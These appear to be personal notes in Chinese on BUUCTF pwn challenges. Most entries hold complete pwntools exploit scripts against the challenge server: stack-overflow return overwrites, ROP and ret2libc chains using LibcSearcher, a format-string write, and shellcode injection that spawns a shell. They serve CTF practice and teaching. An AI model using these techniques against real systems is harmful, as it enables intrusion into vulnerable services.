1.nc
p = remote("node4.buuoj.cn",28085)
nc node4.buuoj.cn 28085
构造payload时:
使用p64()时报错:TypeError: can only concatenate str (not “bytes”) to str
解决:
在后面加上 decode(‘unicode_escape’)
如:
p64(0x00400596).decode('unicode_escape')
2.rip
最简单的栈溢出
https://www.buryia.top/2021/01/25/CTF/BUU/buu-pwn/
3.warmup_csaw_2016
检查过后确认是没有任何保护机制的 所以f5查看
看到gets 栈溢出
然后看到cat flag在哪个位置
确认了flag的地址 再确定溢出大小
使用 cyclic 工具先生成 200 个字符用于之后的输入
gdb 打开程序 r 开始运行,在输入点将 cyclic 生成的 200 个字符复制进去
此时程序会因为栈溢出而使返回地址出现错误停下来,汇编代码会停在 ret 位置
记录此时栈顶的前四个字符
退出 gdb,继续使用 cyclic 工具来计算具体需要填充的字符数
得到了结果:需要填充 72 个字符
from pwn import *
p = remote("node4.buuoj.cn",26951)
payload = 'a'*72 + p64(0x40060d) .decode('unicode_escape')#fun函数位置为0x401186
p.sendline(payload)
p.interactive()
4.ciscn_2019_n_1 1
64 位程序,有 NX 保护,堆栈内容不可执行
from pwn import *
p = remote("node4.buuoj.cn",29529)
payload = 'I'*20+ 'a' *4+p32(0x08048F0D) .decode('unicode_escape')
p.sendline(payload)
p.interactive()
5.jarvisoj_level0
from pwn import *
p = remote("node4.buuoj.cn",29661)
payload = 'a'*(0x80+8)+p64(0x400596) .decode('unicode_escape')
p.sendline(payload)
p.interactive()
7 ciscn_2019_c_1
可以了解到的是,在 gets 获取输入后会对字符串进行一个 xor(异或)操作
初步的思路是先在本地进行一次 xor 异或,再进行发送,这样的话两次异或就会将字符串恢复成想要的样子
(在查 writeup 的时候看到其他师傅有一种骚操作:payload 第一个字符写成’\0’来绕过加密函数…… 注意有一个 strlen 函数)
gets 的栈溢出意味着溢出内容可以很大很大,考虑直接用 puts 函数泄漏 puts 函数的 got 表,再用 LibcSearcher 进行查找
比较坑的点在最后一个 payload,此时 system 函数和 /bin/sh 的地址已经得到了,直接利用即可,但因为在 ubuntu18 上,有栈对齐这个问题…
则需要用 ret 去尝试进行栈对齐(本地 n 次可以,远程 n 次失败…)
额外提醒一个点,bss 不可执行
┌──(rootkali)-[/home/dys/桌面]
└─# ROPgadget --binary ciscn_2019_c_1 | grep "pop rdi" 1 ⨯
0x0000000000400c83 : pop rdi ; ret
https://www.cnblogs.com/chrysanthemum/p/12045330.html
[第五空间2019 决赛]PWN5
https://blog.csdn.net/hahahaboooo/article/details/117046925
from pwn import *
context.log_level = "debug"
r = remote("node4.buuoj.cn", 25837)
bss = 0x0804C044
payload = p32(bss) + b'%10$n'
r.recvuntil("your name:")
r.sendline(payload)
r.recvuntil("Hello,")
r.recvuntil("your passwd:")
r.send('4')
r.interactive()
[OGeek2019]babyrop
https://www.cnblogs.com/gaonuoqi/p/12366595.html
浏览程序可以看到函数中有一部分会将我们的输入与随机数进行对比,但是在之前有一个 strlen,payload 首字符填充’\0’就可以绕过
绕过后就有一个栈溢出了,libc 题目也给了,打印一个 got 算一下 libc 的偏移就可以直接获取 shell 了
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn", 29939)
r = process('./pwn', env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
main = 0x08048825
write_plt = elf.plt['write']
read_got = elf.got['read']
payload = '\x00' + '\xff'*10
r.send(payload)
r.recvuntil("Correct\n")
payload = 'A'*(0XE7+4)+ p32(write_plt)+ p32(main)+ p32(1)+ p32(read_got)+ p32(4)
r.send(payload)
read_addr = u32(r.recv())
log.success("read_addr => {}".format(read_addr))
payload = '\x00' + '\xff'*10
r.send(payload)
r.recvuntil("Correct\n")
base = read_addr - libc.symbols['read']
sys_addr = base + libc.symbols['system']
bin_addr = base + libc.search("/bin/sh").next()
payload = 'a'*(0XE7+4)+ p32(sys_addr)+ 'aaaa'+ p32(bin_addr)
r.send(payload)
r.interactive()
ciscn_2019_n_8
直接用pwntools的ELF模块
elf.system()
from pwn import *
r = remote('node4.buuoj.cn',25147)
bin_sh = 0x804a024
elf=ELF('./level2')
system_addr = elf.sym['system']
payload = 'a'*140+p32(system_addr).decode('unicode_escape')+ 'aaaa' +p32(bin_sh).decode('unicode_escape')
r.sendlineafter('Input:',payload)
r.interactive()
get_started_3dsctf_2016
是判断调用这个函数时候的参数,那么我们可以不可以将返回地址溢出成带参数的呢?
大概就是这么布局:'a'*offset + 'ebp' + get_flag + get_flag的返回地址 + 参数1 + 参数2
bjdctf_2020_babystack
看到/bin/sh双击跟进,ctrl+x找到了后门函数,shell_addr=0x4006e6
from pwn import *
r = remote('node4.buuoj.cn',28445)
r.recvuntil("[+]Please input the length of your name:")
r.sendline("50")
r.recvuntil("[+]What's u name?")
r.recvuntil("Qual a palavrinha magica? ")
payload = 'a'*24+p64(0x4006e6).decode('unicode_escape')
r.sendline(payload)
r.interactive()
not_the_same_3dsctf_2016
https://blog.csdn.net/l2645470582_/article/details/121214866
from pwn import *
r = remote('node4.buuoj.cn',25260)
door = 0x080489A0
write = 0x0806E270
flag = 0x080ECA2D
payload = 'a'*(45)
payload += p32(door).decode('unicode_escape')
payload += p32(write) .decode('unicode_escape')+ 'aaaa' + p32(1) .decode('unicode_escape')+ p32(flag) .decode('unicode_escape')+ p32(0xffff).decode('unicode_escape')
r.sendline(payload)
r.interactive()
[HarekazeCTF2019]baby_rop
rop
pop
https://www.cnblogs.com/xlrp/p/14273707.html
┌──(rootkali)-[/home/dys/桌面]
└─# ROPgadget --binary babyrop |grep "pop rdi" 1 ⨯
0x0000000000400683 : pop rdi ; ret
jarvisoj_level2_x64
64位先将binsh这个参数放入,rdi寄存器中.紧接着返回并执行system函数
from pwn import *
r = remote('node4.buuoj.cn',27567)
payload='a'*(128+8)+p64(0x04006b3).decode('unicode_escape')+p64(0x600A90).decode('unicode_escape')+p64(0x4004C0).decode('unicode_escape')
r.sendline(payload)
r.interactive()
ciscn_2019_n_5
利用过程
利用第一个输入点,往name参数里写入shellcode
context(arch='amd64',os='linux') #用来导入pwntools模块
shellcode=asm(shellcraft.sh()) #利用pwntools模块自动生成shellcode
r.sendlineafter('tell me your name',shellcode) #往name中写入shellcode
利用第二个输入点,让v4溢出到name参数地址,去执行shellcode拿到shell
payload='a'*0x28+p64(0x601080) #让v4溢出到name参数地址
r.sendlineafter('What do you want to say to me?',payload)
exp
from pwn import*
r=remote('node3.buuoj.cn',27785)
context(arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())
r.sendlineafter('tell me your name',shellcode)
payload='a'*0x28+p64(0x601080)
r.sendlineafter('What do you want to say to me?',payload)
r.interactive()
from pwn import *
r = remote('node4.buuoj.cn',29610)
bss = 0x0000000000601080
shell = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')
payload = 'a'*(0x20+8) + p64(bss).decode('unicode_escape')
r.recvuntil("name")
r.sendline(shell)
r.recvuntil("me?")
r.sendline(payload)
r.interactive()
铁人三项(第五赛区)_2018_rop
https://blog.csdn.net/mcmuyanga/article/details/108939218
泄露libc版本
这边提一下write函数的原型
参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数
payload = 'a'*(0x88+4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
这边解释一下第一个payload
首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用write函数,之后跟上main函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)
p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位
————————————————
libc = LibcSearcher('puts',putsaddr)
libc_base = putsaddr - libc.dump('puts') #算出libc基地址
system = libc_base+libc.dump('system') #算出各函数的真实地址
bins = libc_base+libc.dump('str_bin_sh')